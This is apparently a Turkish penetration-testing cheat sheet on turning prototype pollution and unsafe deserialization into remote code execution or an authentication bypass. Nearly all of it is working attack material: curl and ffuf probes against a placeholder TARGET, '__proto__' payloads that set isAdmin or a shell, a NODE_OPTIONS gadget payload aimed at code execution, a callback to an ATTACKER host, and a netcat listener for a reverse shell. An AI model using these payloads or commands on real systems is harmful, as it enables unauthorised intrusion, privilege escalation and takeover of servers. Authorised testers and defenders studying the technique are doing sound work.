Prototype Pollution to RCE
web deserialization
Prototype Pollution to RCE güvenilmeyen serileştirilmiş veri veya prototype/class pollution üzerinden gadget zinciriyle RCE veya auth bypass arar.
Metodoloji
Section titled “Metodoloji”-
Serileştirilmiş girdiyi ve parser’ı tespit et.
-
Kör OAST (DNS/URLDNS) ile doğrula.
-
Uygun gadget / pollution zincirini kur.
-
RCE veya auth bypass etkisini kanıtla.
Serileştirilmiş girdi bulma
Section titled “Serileştirilmiş girdi bulma”curl -sk https://TARGET/ -b jar | rg -i 'rO0|aced0005|__VIEWSTATE|O:|pickle|yaml|ObjectInput|java\.'ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc allcookie, hidden field, JWT claim, message queue, Redis cachePrototype pollution
Section titled “Prototype pollution”{"__proto__":{"isAdmin":true}}{"constructor":{"prototype":{"shell":"/bin/sh"}}}curl -sk https://TARGET/api/merge -H 'Content-Type: application/json' -d '{"__proto__":{"status":200}}'Object.prototype.isAdmin === true // konsolda doğrulaPollution → RCE gadget
Section titled “Pollution → RCE gadget”{"__proto__":{"env":{"NODE_OPTIONS":"--require /proc/self/environ"},"shell":"/proc/self/exe","argv0":"node"}}ppmap -t https://TARGETchild_process / template / ejs / handlebars gadget zinciriEtki doğrulama
Section titled “Etki doğrulama”curl http://ATTACKER/hitnc -lvnp 443DNS callback → class confirm → RCE gadget → shellOperasyon notları
Section titled “Operasyon notları”Prototype Pollution to RCE sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html